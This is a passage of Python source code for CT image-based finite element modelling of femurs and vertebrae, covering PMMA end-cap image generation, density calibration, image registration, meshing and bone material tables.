inf_math.SetInput2Data(inf_logic.GetOutput())\n inf_math.SetOperationToSubtract()\n inf_math.Update()\n\n combo_image2 = vtk.vtkImageMathematics()\n combo_image2.SetInput1Data(inf_math.GetOutput())\n combo_image2.SetInput2Data(combo_image.GetOutput())\n combo_image2.SetOperationToAdd()\n combo_image2.Update()\n\n message(\"PMMA caps added.\")\n message(\"Creating final image...\")\n # Remove any negative values...\n final_thres = vtk.vtkImageThreshold()\n final_thres.SetInputData(combo_image2.GetOutput())\n final_thres.ThresholdByLower(0)\n final_thres.ReplaceInOn()\n final_thres.SetInValue(0)\n final_thres.ReplaceOutOff()\n final_thres.Update()\n final_image = final_thres.GetOutput()\n\n return final_image\n\ndef extractBox(extraction_bounds, model):\n \"\"\"Extracts the geometry within the specific bounds.\n The first argument are the extraction bounds of the box.\n The second arument is the geometry to be extracted.\n Returns the extracted geometry.\n \"\"\"\n box = vtk.vtkBox()\n box.SetBounds(extraction_bounds)\n\n geometry = vtk.vtkExtractGeometry()\n geometry.SetInputData(0, model)\n geometry.SetImplicitFunction(box)\n geometry.ExtractInsideOn()\n geometry.ExtractBoundaryCellsOn()\n geometry.Update()\n\n return geometry.GetOutput()\n\ndef femoralHeadPMMA(femoral_head_model_bounds, spacing, origin, inval, outval, thickness, pmma_mat_id):\n \"\"\"Creates the image data for the femoral head PMMA cap.\n The arguments are the femoral head model bounds, image spacing, image origin, in value of pmma, out value for pmma, pmma thickness and pmma material ID.\n Returns the Femoral Head PMMA padded image.\n \"\"\"\n ##\n # Create vtkImageData for femoral head PMMA capping\n fh_pmma_id = vtk.vtkImageData()\n fh_pmma_id.SetSpacing(spacing)\n fh_pmma_id.SetExtent(\n int(femoral_head_model_bounds[0] / spacing[0]),\n int(femoral_head_model_bounds[1] / spacing[0]),\n int(femoral_head_model_bounds[2] / spacing[1]),\n int(femoral_head_model_bounds[3] / spacing[1]),\n int(femoral_head_model_bounds[4] / spacing[2]),\n int(femoral_head_model_bounds[5] / spacing[2])\n )\n fh_pmma_id.SetOrigin(origin)\n fh_pmma_id.AllocateScalars(vtk.VTK_SHORT, 1)\n\n ##\n # Create numpy array of PMMA cap to convert to vtkImageData\n fh_pmma_np = np.empty(fh_pmma_id.GetDimensions())\n fh_pmma_np.fill(inval)\n\n ##\n # Import Numpy array to vtk\n vtk_data = numpy_to_vtk(\n num_array=fh_pmma_np.ravel(),\n deep=True,\n array_type=vtk.VTK_SHORT\n )\n fh_pmma_id.GetPointData().SetScalars(vtk_data)\n\n ##\n # Pad Image with extra thickness\n extent2 = fh_pmma_id.GetExtent()\n\n fh_pmma_id_pad = vtk.vtkImageConstantPad()\n fh_pmma_id_pad.SetInputData(fh_pmma_id)\n fh_pmma_id_pad.SetOutputWholeExtent(\n extent2[0],\n extent2[1],\n extent2[2] - thickness,\n extent2[3],\n extent2[4],\n extent2[5]\n )\n fh_pmma_id_pad.SetConstant(pmma_mat_id)\n fh_pmma_id_pad.Update()\n return fh_pmma_id_pad.GetOutput()\n\ndef femoralHeadPMMA_SLS(femoral_head_model_bounds, spacing, origin, inval, outval, thickness, pmma_mat_id):\n \"\"\"Creates the image data for the femoral head PMMA cap.\n The arguments are the femoral head model bounds, image spacing, image origin, in value of pmma, out value for pmma, pmma thickness and pmma material ID.\n Returns the Femoral Head PMMA padded image.\n \"\"\"\n ##\n # Create vtkImageData for femoral head PMMA capping\n fh_pmma_id = vtk.vtkImageData()\n fh_pmma_id.SetSpacing(spacing)\n fh_pmma_id.SetExtent(\n int(femoral_head_model_bounds[0] / spacing[0]),\n int(femoral_head_model_bounds[1] / spacing[0]),\n int(femoral_head_model_bounds[2] / spacing[1]),\n int(femoral_head_model_bounds[3] / spacing[1]),\n int(femoral_head_model_bounds[4] / spacing[2]),\n int(femoral_head_model_bounds[5] / spacing[2])\n )\n fh_pmma_id.SetOrigin(origin)\n fh_pmma_id.AllocateScalars(vtk.VTK_SHORT, 1)\n\n ##\n # Create numpy array of PMMA cap to convert to vtkImageData\n fh_pmma_np = np.empty(fh_pmma_id.GetDimensions())\n fh_pmma_np.fill(inval)\n\n ##\n # Import Numpy array to vtk\n vtk_data = numpy_to_vtk(\n num_array=fh_pmma_np.ravel(),\n deep=True,\n array_type=vtk.VTK_SHORT\n )\n fh_pmma_id.GetPointData().SetScalars(vtk_data)\n\n ##\n # Pad Image with extra thickness\n extent2 = fh_pmma_id.GetExtent()\n\n fh_pmma_id_pad = vtk.vtkImageConstantPad()\n fh_pmma_id_pad.SetInputData(fh_pmma_id)\n fh_pmma_id_pad.SetOutputWholeExtent(\n extent2[0],\n extent2[1],\n extent2[2],\n extent2[3],\n extent2[4],\n extent2[5] + thickness\n )\n fh_pmma_id_pad.SetConstant(pmma_mat_id)\n fh_pmma_id_pad.Update()\n return fh_pmma_id_pad.GetOutput()\n\ndef finalRegistration(ref_image):\n \"\"\"Performs final 3D image registration in SimpleITK.\n The first argument is the image.\n The second argument is the mask image (used for registration).\n The third argument is the reference image.\n Returns the transformed image and mask as VTKImageData.\n \"\"\"\n\n fixed_image = sitk.ReadImage(ref_image, sitk.sitkFloat32)\n moving_image = sitk.ReadImage(\"temp_mask.nii\", sitk.sitkFloat32)\n trans_image = sitk.ReadImage(\"temp_image.nii\", sitk.sitkFloat32)\n\n message(\"Performing initial registration transform...\")\n initial_transform = sitk.CenteredTransformInitializer(fixed_image,\n moving_image,\n sitk.Euler3DTransform(),\n sitk.CenteredTransformInitializerFilter.MOMENTS\n )\n moving_resampled = sitk.Resample(\n moving_image,\n fixed_image,\n initial_transform,\n sitk.sitkLinear,\n 0.0,\n moving_image.GetPixelIDValue()\n )\n\n message(\"Setting up registration parameters...\")\n registration_method = sitk.ImageRegistrationMethod()\n registration_method.SetMetricAsJointHistogramMutualInformation(\n numberOfHistogramBins=100\n )\n registration_method.SetMetricSamplingStrategy(registration_method.RANDOM)\n registration_method.SetMetricSamplingPercentage(0.01)\n registration_method.SetInterpolator(sitk.sitkLinear)\n registration_method.SetOptimizerAsGradientDescent(\n learningRate=1.0,\n numberOfIterations=100,\n convergenceMinimumValue=1e-6,\n convergenceWindowSize=10\n )\n registration_method.SetOptimizerScalesFromPhysicalShift()\n registration_method.SetShrinkFactorsPerLevel(shrinkFactors=[4, 2, 1])\n registration_method.SetSmoothingSigmasPerLevel(smoothingSigmas=[2, 1, 0])\n registration_method.SmoothingSigmasAreSpecifiedInPhysicalUnitsOn()\n registration_method.SetInitialTransform(initial_transform,\n inPlace=False\n )\n\n message(\"Executing the registration...\")\n final_transform = registration_method.Execute(sitk.Cast(fixed_image,\n sitk.sitkFloat32),\n sitk.Cast(moving_image,\n sitk.sitkFloat32)\n )\n message(\"Registration complete...\")\n\n print(('Final metric value: {0}'.format(registration_method.GetMetricValue())))\n print(('Optimizer\\'s stopping condition, {0}'.format(\n registration_method.GetOptimizerStopConditionDescription())))\n\n message(\"Resampling the images...\")\n moving_resampled = sitk.Resample(moving_image,\n fixed_image,\n final_transform,\n sitk.sitkLinear,\n 0.0,\n moving_image.GetPixelIDValue()\n )\n moving_thres = sitk.BinaryThreshold(moving_resampled,\n lowerThreshold=0.01,\n insideValue=1,\n outsideValue=0\n )\n\n org_trans = sitk.Resample(trans_image,\n fixed_image,\n final_transform,\n sitk.sitkBSpline,\n 0.0,\n trans_image.GetPixelIDValue()\n )\n\n message(\"Writing out temp images...\")\n sitk.WriteImage(moving_thres, \"temp_mask2.nii\")\n sitk.WriteImage(org_trans, \"temp_image2.nii\")\n\n message(\"Removing temporary files...\")\n os.remove(\"temp_image.nii\")\n os.remove(\"temp_mask.nii\")\n\n\ndef greaterTrochanterPMMA(greater_trochanter_model_bounds, spacing, origin, inval, outval, thickness, pmma_mat_id):\n \"\"\"Creates the image data for the greater trochanter PMMA cap.\n The arguments are the femoral head model bounds, image spacing, image origin, in value of pmma, out value for pmma, pmma thickness and pmma material ID.\n Returns the Greater trochanter PMMA padded image.\n \"\"\"\n ##\n # Create vtkImageData for greater trochanter PMMA capping\n gt_pmma_id = vtk.vtkImageData()\n gt_pmma_id.SetSpacing(spacing)\n gt_pmma_id.SetExtent(\n int(greater_trochanter_model_bounds[0] / spacing[0]),\n int(greater_trochanter_model_bounds[1] / spacing[0]),\n int(greater_trochanter_model_bounds[2] / spacing[1]),\n int(greater_trochanter_model_bounds[3] / spacing[1]),\n int(greater_trochanter_model_bounds[4] / spacing[2]),\n int(greater_trochanter_model_bounds[5] / spacing[2])\n )\n gt_pmma_id.SetOrigin(origin)\n gt_pmma_id.AllocateScalars(vtk.VTK_SHORT, 1)\n\n # Create numpy array of PMMA cap to convert to vtkImageData\n gt_pmma_np = np.empty(gt_pmma_id.GetDimensions())\n gt_pmma_np.fill(inval)\n\n ##\n # Import Numpy array to vtk\n vtk_data3 = numpy_to_vtk(\n num_array=gt_pmma_np.ravel(),\n deep=True,\n array_type=vtk.VTK_SHORT\n )\n gt_pmma_id.GetPointData().SetScalars(vtk_data3)\n\n ##\n # Pad iamge with extra thickness\n extent3 = gt_pmma_id.GetExtent()\n gt_pmma_id_pad = vtk.vtkImageConstantPad()\n gt_pmma_id_pad.SetInputData(gt_pmma_id)\n gt_pmma_id_pad.SetOutputWholeExtent(\n extent3[0],\n extent3[1],\n extent3[2],\n extent3[3] + thickness,\n extent3[4],\n extent3[5]\n )\n gt_pmma_id_pad.SetConstant(pmma_mat_id)\n gt_pmma_id_pad.Update()\n return gt_pmma_id_pad.GetOutput()\n\ndef icEffectiveEnergy(HU_array, air, bone, muscle, k2hpo4, cha, triglyceride, water):\n \"\"\"Used to determine the scan effective energy for internal calibration.\n The first argument is the mean HU for each tissue.\n The remaining arguments are the tissue specific interpolated tables from icInterpolation.\n Returns the scan effective energy and calibration parameters as a dictionary.\n \"\"\"\n energy_r2_values = pd.DataFrame(columns = ['Energy [keV]', 'R-Squared'])\n energy_r2_values['Energy [keV]'] = muscle['Energy [keV]']\n\n\n for i in np.arange(1, len(muscle), 1):\n attenuation = [\n air.loc[i,'Mass Attenuation [cm2/g]'],\n bone.loc[i,'Mass Attenuation [cm2/g]'],\n muscle.loc[i,'Mass Attenuation [cm2/g]']\n ]\n\n EE_lr = stats.linregress(HU_array, attenuation)\n r_squared = EE_lr[2]**2\n energy_r2_values.loc[i, 'R-Squared'] = r_squared\n\n max_row = energy_r2_values[energy_r2_values['R-Squared'] == energy_r2_values['R-Squared'].max()]\n max_r2 = energy_r2_values['R-Squared'].max()\n index = max_row.index.values.astype(int)[0]\n effective_energy = max_row.at[index, 'Energy [keV]']\n\n # Determine the corresponding mass attenuation values for each material\n air_EE = air.at[index, 'Mass Attenuation [cm2/g]']\n bone_EE = bone.at[index, 'Mass Attenuation [cm2/g]']\n muscle_EE = muscle.at[index, 'Mass Attenuation [cm2/g]']\n k2hpo4_EE = k2hpo4.at[index, 'Mass Attenuation [cm2/g]']\n cha_EE = cha.at[index, 'Mass Attenuation [cm2/g]']\n triglyceride_EE = triglyceride.at[index, 'Mass Attenuation [cm2/g]']\n water_EE = water.at[index, 'Mass Attenuation [cm2/g]']\n\n # Create dictionary for output\n dict = OrderedDict()\n dict['Effective Energy [keV]'] = effective_energy\n dict['Max R^2'] = max_r2\n dict['Air u/p'] = air_EE\n dict['Cortical Bone u/p'] = bone_EE\n dict['Skeletal Muscle u/p'] = muscle_EE\n dict['K2HPO4 u/p'] = k2hpo4_EE\n dict['CHA u/p'] = cha_EE\n dict['Triglyceride u/p'] = triglyceride_EE\n dict['Water u/p'] = water_EE\n\n return dict\n\ndef icInterpolation(material_table):\n \"\"\"Used for internal calibration. Interpolates the material table for energy\n levels 1-200 keV.The first argument is the reference material table.\n Returns the interpolated material table for internal calibration.\n \"\"\"\n energies = np.arange(1, 200.5, 0.5)\n interp_table = interp.griddata(material_table['Energy [keV]'], material_table['Mass Attenuation [cm2/g]'], energies, method = 'linear')\n interp_df = pd.DataFrame({'Energy [keV]':energies, 'Mass Attenuation [cm2/g]':interp_table})\n return interp_df\n\ndef icLinearRegression(x_values, y_values, slopeLabel, yintLabel):\n \"\"\"Function for linear regression of two values.\n The first argument are the x values.\n The second argument are the y values.\n The third argument is the dictionary label for the slope.\n The fourth argument is the dictionary ladel for the y-intercept\n Returns the regression slope and y-intercept as dictionary.\n \"\"\"\n linreg = stats.linregress(x_values, y_values)\n dict = OrderedDict()\n dict[slopeLabel] = linreg[0]\n dict[yintLabel] = linreg[1]\n return dict\n\ndef imageHistogramMean(imageData):\n \"\"\"Creates a histogram of the input image data, ignoring zero values.\n The first argument is the input image data.\n Returns the mean value of the histogram.\n \"\"\"\n accumulate = vtk.vtkImageAccumulate()\n accumulate.SetInputData(imageData)\n accumulate.IgnoreZeroOn()\n accumulate.Update()\n mean = accumulate.GetMean()\n return mean\n\ndef icMaterialDensity(material_HU, material_attenuation, water_attenuation, water_density):\n \"\"\"Determines the apparent density for each material.\n The first argument is the material HU from ROI.\n The second argument is the material attenuation at the effective energy.\n The third argument is water's attenuation at the effective energy.\n The fourth argument is the assumed density of water at 1.0 g/cc.\n Returns the material density.\n \"\"\"\n output_density = (material_HU/1000*water_attenuation*water_density + water_attenuation*water_density)/material_attenuation\n return output_density\n\ndef Image2Mesh(vtk_image):\n \"\"\"Mesh image data to hexahedral elements.\"\"\"\n mesher = vtkbone.vtkboneImageToMesh()\n mesher.SetInputData(vtk_image)\n mesher.Update()\n message(\"Generated %d hexahedrons\" % mesher.GetOutput().GetNumberOfCells())\n message(\"Generated %d nodes\" % mesher.GetOutput().GetNumberOfPoints())\n return mesher.GetOutput()\n\ndef imageConnectivity(vtk_image):\n \"\"\"Performd image connectivity filter\"\"\"\n conn = vtkbone.vtkboneImageConnectivityFilter()\n conn.SetInputData(vtk_image)\n conn.Update()\n return conn.GetOutput()\n\ndef imageResample(vtk_image, isotropic_voxel_size):\n \"\"\"Resample the input vtk image to isotropic voxel size as specified.\n The first argument is the input vtk Image Data.\n The second argument is the isotropic output voxel size.\n Returns the resampled VTK Image Data.\n \"\"\"\n image_resample = vtk.vtkImageResample()\n image_resample.SetInputData(vtk_image)\n image_resample.SetInterpolationModeToCubic()\n image_resample.SetDimensionality(3)\n image_resample.SetAxisOutputSpacing(0,isotropic_voxel_size)\n image_resample.SetAxisOutputSpacing(1,isotropic_voxel_size)\n image_resample.SetAxisOutputSpacing(2,isotropic_voxel_size)\n image_resample.Update()\n return image_resample.GetOutput()\n\ndef inferiorVertebralPMMA(inferior_model_bounds, spacing, origin, inval, outval, thickness, pmma_mat_id):\n \"\"\"Creates the image data for the inferior vertebral PMMA cap.\n The arguments are the inferior vertebral model bounds, image spacing, image origin, in value of pmma, out value for pmma, pmma thickness and pmma material ID.\n Returns the Inferior Vertebral PMMA padded image.\n \"\"\"\n ##\n # Create vtkImageData for inferior vertebral PMMA capping\n iv_pmma_id = vtk.vtkImageData()\n iv_pmma_id.SetSpacing(spacing)\n iv_pmma_id.SetExtent(\n int(inferior_model_bounds[0] / spacing[0]),\n int(inferior_model_bounds[1] / spacing[0]),\n int(inferior_model_bounds[2] / spacing[1]),\n int(inferior_model_bounds[3] / spacing[1]),\n int(inferior_model_bounds[4] / spacing[2]),\n int(inferior_model_bounds[5] / spacing[2])\n )\n iv_pmma_id.SetOrigin(origin)\n iv_pmma_id.AllocateScalars(vtk.VTK_SHORT, 1)\n\n ##\n # Create numpy array of PMMA cap to convert to vtkImageData\n iv_pmma_np = np.empty(iv_pmma_id.GetDimensions())\n iv_pmma_np.fill(inval)\n\n ##\n # Import Numpy array to vtk\n vtk_data = numpy_to_vtk(\n num_array=iv_pmma_np.ravel(),\n deep=True,\n array_type=vtk.VTK_SHORT\n )\n iv_pmma_id.GetPointData().SetScalars(vtk_data)\n\n ##\n # Pad Image with extra thickness\n extent2 = iv_pmma_id.GetExtent()\n\n iv_pmma_id_pad = vtk.vtkImageConstantPad()\n iv_pmma_id_pad.SetInputData(iv_pmma_id)\n iv_pmma_id_pad.SetOutputWholeExtent(\n extent2[0],\n extent2[1],\n extent2[2],\n extent2[3],\n extent2[4] - thickness,\n extent2[5]\n )\n iv_pmma_id_pad.SetConstant(pmma_mat_id)\n iv_pmma_id_pad.Update()\n return iv_pmma_id_pad.GetOutput()\n\ndef iterativeClosestPoint(source, target):\n \"\"\"Performs ICP to get a transformation.\n The first argument is the source.\n The second argument is the target.\n Returns the 4x4 rotation matrix.\n \"\"\"\n icp = vtk.vtkIterativeClosestPointTransform()\n icp.SetSource(source)\n icp.SetTarget(target)\n icp.StartByMatchingCentroidsOn()\n icp.GetLandmarkTransform().SetModeToRigidBody()\n icp.SetMeanDistanceModeToRMS()\n icp.SetMaximumMeanDistance(0.05)\n icp.CheckMeanDistanceOn()\n icp.SetMaximumNumberOfLandmarks(250)\n icp.SetMaximumNumberOfIterations(75)\n icp.Update()\n return icp.GetMatrix()\n\ndef marchingCubes(vtk_image):\n \"\"\"Performs Marching cubes to get a surface.\n The first argument is the vtk image data.\n Returns the surface.\n \"\"\"\n march = vtk.vtkImageMarchingCubes()\n march.SetInputData(vtk_image)\n march.SetValue(1,1.0)\n march.Update()\n return march.GetOutput()\n\ndef maskThreshold(imageData, threshold_value):\n \"\"\"Applies the threshold value to the input image.\n The first argument is the image. The second argument is the threshold value to be applied.\n Returns the thresholded image region as image Data.\n \"\"\"\n thres = vtk.vtkImageThreshold()\n thres.SetInputData(imageData)\n thres.ThresholdBetween(threshold_value, threshold_value)\n thres.ReplaceInOn()\n thres.SetInValue(1)\n thres.ReplaceOutOn()\n thres.SetOutValue(0)\n thres.SetOutputScalarTypeToUnsignedChar()\n thres.Update()\n return thres.GetOutput()\n\ndef materialTable(mesh, poissons_ratio, elastic_Emax, elastic_exponent, pmma_mat_id, pmma_E, pmma_v):\n \"\"\"Defines the material table for the FE model.\n The first argument is the hexahedral mesh.\n The second argument is the bone poissons ratio.\n The 3rd argument is the power law Emax.\n The 4th is the power law exponent.\n The 5th is the pmma material ID.\n The 6th is the pmma elastic modulus.\n The 7th is the pmma poissons ratio.\n Returns the Finite Element Material Table.\n \"\"\"\n # Initialize the material table\n material_table = vtkbone.vtkboneMaterialTable()\n\n ##\n # Create PMMA material\n pmma_material = vtkbone.vtkboneLinearIsotropicMaterial()\n pmma_material.SetName(\"PMMA\")\n pmma_material.SetYoungsModulus(pmma_E)\n pmma_material.SetPoissonsRatio(pmma_v)\n material_table.AddMaterial(pmma_mat_id, pmma_material)\n\n ##\n # Determine maximum material ID: exclude PMMA\n values = vtk_to_numpy (mesh.GetCellData().GetScalars())\n max_id = int(max(values))\n # message(\"Maximum ID: %d\" % max_id)\n\n # Create array of Young's Modulus values\n bone_E = np.arange(1, max_id+2, dtype=np.float32)\n # Create array of Poisson's ratio values\n bone_nu = poissons_ratio * np.ones(max_id+1, dtype=np.float32)\n bone_nu_vtk = numpy_to_vtk(bone_nu, deep=True, array_type=vtk.VTK_FLOAT)\n\n ##\n # Define the For loop to create the elastic modulus array\n message(\"Deriving Density-Elastic Modulus values for material table...\")\n for i in range(1, max_id+1, 1):\n\n # Power law density-Elastic Modulus conversion. Requires Density in [g/cc], not [mg/cc].\n den_bin_step = 0.001\n den = i * den_bin_step\n # message(\"Calculated density: %8.4f\" % den)\n modulus = elastic_Emax * math.pow(den, elastic_exponent)\n # message(\"Calculated Elastic Modulus: %8.4f\" % modulus)\n bone_E[i] = modulus\n # message(\"ID:%d; Density(g/cc):%8.4f; Modulus(MPa):%8.4f\" % (i, den, modulus))\n\n # Convert these numpy arrays to VTK arrays\n bone_E_vtk = numpy_to_vtk(bone_E, deep=True, array_type=vtk.VTK_FLOAT)\n\n # Create a material array object for bone\n bone_material_array = vtkbone.vtkboneLinearIsotropicMaterialArray()\n bone_material_array.SetName(\"Bone\")\n bone_material_array.SetYoungsModulus(bone_E_vtk)\n bone_material_array.SetPoissonsRatio(bone_nu_vtk)\n\n # Add the material array to the material table\n material_table.AddMaterial(1, bone_material_array)\n return material_table\n\ndef message(msg, *additionalLines):\n \"\"\"Print message with time stamp\n The first argument is printed with the a time stamp\n Subsequent arguments are printed one to a line without a time stamp\n \"\"\"\n print(\"%8.2f %s\" % (time.time() - start_time, msg))\n for line in additionalLines:\n print(\" \" * 9 + line)\n\ndef numpy2vtk(numpy_image, extent, spacing, origin):\n \"\"\"Convert numpy image to vtk Image Data.\n The first argument is the numpy image.\n The second argument is the image extent.\n The third argument is the image spacing.\n Returns the vtk Image Data in the same shape as FLOAT data type.\n \"\"\"\n dimensions = numpy_image.shape\n vtk_image = vtk.vtkImageImport()\n vtk_image.SetDataScalarTypeToFloat()\n vtk_image.SetNumberOfScalarComponents(1)\n vtk_image.SetDataExtent(0, dimensions[0] - 1, 0, dimensions[1] - 1, 0, dimensions[2] - 1)\n vtk_image.SetWholeExtent(extent)\n vtk_image.SetDataSpacing(spacing)\n vtk_image.SetDataOrigin(origin)\n vtk_image.CopyImportVoidPointer(numpy_image, numpy_image.nbytes)\n return vtk_image.GetOutput()\n\ndef phantomParameters(h2o_density, k2hpo4_density, phantom_HU):\n \"\"\"Determine the slope and y-intercept for the phantom calibration.\n The first argument are the phantom specific H2O equivalent density values. The second\n argument are the phantom specific K2HPO4 equivalent density values. The third\n argument are the phantom rod mean HU values from the image and mask.\n Returns the slope and y-intercept for the calibration as a float list.\n \"\"\"\n y_values = np.subtract(phantom_HU, h2o_density)\n x_values = k2hpo4_density\n regression_parameters = stats.linregress(x_values, y_values)\n\n # convert slope and y-intercept to CT parameters\n sigma_ct = regression_parameters[0] - 0.2174\n beta_ct = regression_parameters[1] + 999.6\n print(regression_parameters[2])\n\n\n\n # Determine calibration parameters\n calibration_slope = 1/sigma_ct\n calibration_yint = -1*beta_ct/sigma_ct\n return {\n 'Calibration Slope':calibration_slope,\n 'Calibration Y-Intercept':calibration_yint\n }\n\ndef phantomParameters_bmas200(cha_density, phantom_HU):\n \"\"\"Determine the slope and y-intercept for the phantom calibration.\n The first argument is the phantom specific cha equivalent density values. The second\n argument are the phantom rod mean HU values from the image and mask.\n Returns the slope and y-intercept for the calibration as a float list.\n \"\"\"\n x_values = phantom_HU\n y_values = cha_density\n regression_parameters = stats.linregress(x_values, y_values)\n\n # Determine calibration parameters\n calibration_slope = regression_parameters[0]\n calibration_yint = regression_parameters[1]\n return {\n 'Calibration Slope':calibration_slope,\n 'Calibration Y-Intercept':calibration_yint\n }\n\ndef point2cellData(vtk_image):\n \"\"\" Converts vtk image point data to cell data.\n The first argument is the vtk image.\n Returns the image with cell and point data.\n \"\"\"\n pt2cell = vtk.vtkPointDataToCellData()\n pt2cell.SetInputData(vtk_image)\n pt2cell.PassPointDataOn()\n pt2cell.Update()\n return pt2cell.GetOutput()\n\ndef preRotateImage(image, mask, z_rotation):\n \"\"\"Pre-rotation the image for ICP alignment.\"\"\"\n message(\"Pre-rotating image...\")\n spacing = image.GetSpacing()\n origin = image.GetOrigin()\n extent = image.GetExtent()\n bounds = image.GetBounds()\n center = [None]*3\n center[0] = (bounds[1] + bounds[0])/2.0\n center[1] = (bounds[3] + bounds[2])/2.0\n center[2] = (bounds[5] + bounds[4])/2.0\n\n transform = vtk.vtkTransform()\n transform.Translate(center[0], center[1], center[2])\n transform.RotateY(180)\n transform.RotateZ(z_rotation)\n transform.Translate(-center[0], -center[1], -center[2])\n\n image_reslice = vtk.vtkImageReslice()\n image_reslice.SetResliceTransform(transform)\n image_reslice.SetInterpolationModeToCubic()\n # image_reslice.AutoCropOutputOn()\n image_reslice.SetInputData(image)\n image_reslice.Update()\n\n # Apply transform to image and reslice\n mask_reslice = vtk.vtkImageReslice()\n mask_reslice.SetResliceTransform(transform)\n mask_reslice.SetInterpolationModeToNearestNeighbor()\n # image_reslice.AutoCropOutputOn()\n mask_reslice.SetInputData(mask)\n mask_reslice.Update()\n\n return image_reslice.GetOutput(), mask_reslice.GetOutput()\n\n\ndef readDCM(fileDir):\n \"\"\"Reads a DICOM image from a directory.\n The first argument is the image directory.\n Returns the image as vtk Output Data.\n \"\"\"\n image = vtk.vtkDICOMImageReader()\n image.SetDirectoryName(fileDir)\n image.Update()\n\n flip = vtk.vtkImageFlip()\n flip.SetInputConnection(image.GetOutputPort())\n flip.SetFilteredAxis(1)\n flip.Update()\n flip2 = vtk.vtkImageFlip()\n flip2.SetInputConnection(flip.GetOutputPort())\n flip2.SetFilteredAxis(2)\n flip2.Update()\n\n return flip2.GetOutput()\n\ndef readNii(filename):\n \"\"\"Reads a NIFTI image.\n The first argument is the image filename.\n Returns the Image as vtk Output Data\n \"\"\"\n image = vtk.vtkNIFTIImageReader()\n image.SetFileName(filename)\n image.Update()\n return image.GetOutput()\n\ndef readPolyData(vtk_poly):\n \"\"\"Reads a VTK Legacy file in PolyData Format.\n The first argument is the filename.\n Returns the Poly Data reader output.\n \"\"\"\n poly = vtk.vtkPolyDataReader()\n poly.SetFileName(vtk_poly)\n poly.Update()\n return poly.GetOutput()\n\ndef readTransform(transform_file):\n \"\"\"Reads a *.dat file and extracts 4x4 rotation matrix.\n The first argument is the filename.\n Returns the 4x4 transformation matrix.\n \"\"\"\n transform_data = open(transform_file, 'r+')\n data = transform_data.readlines()\n transform_data.close()\n\n\n matrix = [\n data[2].strip().split(),\n data[3].strip().split(),\n data[4].strip().split(),\n data[5].strip().split()\n ]\n\n m = vtk.vtkMatrix4x4()\n m.SetElement(0,0, float(matrix[0][0]))\n m.SetElement(0,1, float(matrix[0][1]))\n m.SetElement(0,2, float(matrix[0][2]))\n m.SetElement(0,3, float(matrix[0][3]))\n m.SetElement(1,0, float(matrix[1][0]))\n m.SetElement(1,1, float(matrix[1][1]))\n m.SetElement(1,2, float(matrix[1][2]))\n m.SetElement(1,3, float(matrix[1][3]))\n m.SetElement(2,0, float(matrix[2][0]))\n m.SetElement(2,1, float(matrix[2][1]))\n m.SetElement(2,2, float(matrix[2][2]))\n m.SetElement(2,3, float(matrix[2][3]))\n m.SetElement(3,0, float(matrix[3][0]))\n m.SetElement(3,1, float(matrix[3][1]))\n m.SetElement(3,2, float(matrix[3][2]))\n m.SetElement(3,3, float(matrix[3][3]))\n\n return m\n\ndef sitk2numpy(sitk_image):\n numpy_image = sitk.GetArrayFromImage(sitk_image)\n return numpy_image\n\ndef superiorVertebralPMMA(superior_model_bounds, spacing, origin, inval, outval, thickness, pmma_mat_id):\n \"\"\"Creates the image data for the superior vertebral PMMA cap.\n The arguments are the superior vertebral model bounds, image spacing, image origin, in value of pmma, out value for pmma, pmma thickness and pmma material ID.\n Returns the Superior Vertebral PMMA padded image.\n \"\"\"\n ##\n # Create vtkImageData for superior vertebral PMMA capping\n sv_pmma_id = vtk.vtkImageData()\n sv_pmma_id.SetSpacing(spacing)\n sv_pmma_id.SetOrigin(origin)\n sv_pmma_id.SetExtent(\n int(superior_model_bounds[0] / spacing[0]),\n int(superior_model_bounds[1] / spacing[0]),\n int(superior_model_bounds[2] / spacing[1]),\n int(superior_model_bounds[3] / spacing[1]),\n int(superior_model_bounds[4] / spacing[2]),\n int(superior_model_bounds[5] / spacing[2])\n )\n sv_pmma_id.AllocateScalars(vtk.VTK_SHORT, 1)\n\n ##\n # Create numpy array of PMMA cap to convert to vtkImageData\n sv_pmma_np = np.empty(sv_pmma_id.GetDimensions())\n sv_pmma_np.fill(inval)\n\n ##\n # Import Numpy array to vtk\n vtk_data = numpy_to_vtk(\n num_array=sv_pmma_np.ravel(),\n deep=True,\n array_type=vtk.VTK_SHORT\n )\n sv_pmma_id.GetPointData().SetScalars(vtk_data)\n\n ##\n # Pad Image with extra thickness\n extent2 = sv_pmma_id.GetExtent()\n\n sv_pmma_id_pad = vtk.vtkImageConstantPad()\n sv_pmma_id_pad.SetInputData(sv_pmma_id)\n sv_pmma_id_pad.SetOutputWholeExtent(\n extent2[0],\n extent2[1],\n extent2[2],\n extent2[3],\n extent2[4],\n extent2[5] + thickness\n )\n sv_pmma_id_pad.SetConstant(pmma_mat_id)\n sv_pmma_id_pad.Update()\n\n return sv_pmma_id_pad.GetOutput()\n\ndef vertebralBodyExtract(image, mask_image):\n \"\"\"Extracts the body of the vertebra from the whole vertebra for FE.\n The first argument is the vertebra mask.\n Returns the mask of just the vertebral body.\n \"\"\"\n message(\"Generating vertebra surface...\")\n surface = marchingCubes(mask_image)\n bounds = surface.GetBounds()\n message(\"Model Bounds: %s\" % str(bounds))\n image_bounds = [\n int(bounds[0]),\n int(bounds[1]),\n int((bounds[2]+bounds[3])/2),\n int(bounds[3]),\n int(bounds[4]),\n int(bounds[5])\n ]\n\n message(\"Extracting Body VOI...\")\n extract = vtk.vtkExtractVOI()\n extract.SetInputData(mask_image)\n extract.SetVOI(image_bounds)\n extract.SetSampleRate(1,1,1)\n extract.IncludeBoundaryOn()\n extract.Update()\n\n message(\"Eroding the body mask...\")\n erode = vtk.vtkImageContinuousErode3D()\n erode.SetInputData(extract.GetOutput())\n erode.SetKernelSize(21,21,21)\n erode.Update()\n\n message(\"Extracting Largest connected component...\")\n conn = imageConnectivity(erode.GetOutput())\n\n message(\"Dilating the body mask...\")\n dilate = vtk.vtkImageContinuousDilate3D()\n dilate.SetInputData(conn)\n dilate.SetKernelSize(50,25,50)\n dilate.Update()\n\n message(\"Boolean of vertebra and dialtion masks...\")\n logic = vtk.vtkImageLogic()\n logic.SetInput1Data(dilate.GetOutput())\n logic.SetInput2Data(mask_image)\n logic.SetOperationToAnd()\n logic.SetOutputTrueValue(1)\n logic.Update()\n\n message(\"Subtracting Body from Vertebral Arch and Pedicles...\")\n math = vtk.vtkImageMathematics()\n math.SetOperationToSubtract()\n math.SetInput1Data(mask_image)\n math.SetInput2Data(logic.GetOutput())\n math.Update()\n\n message(\"Obtaining Arch and Pedicles mask...\")\n pedicles = imageConnectivity(math.GetOutput())\n\n message(\"Determining final vertebral 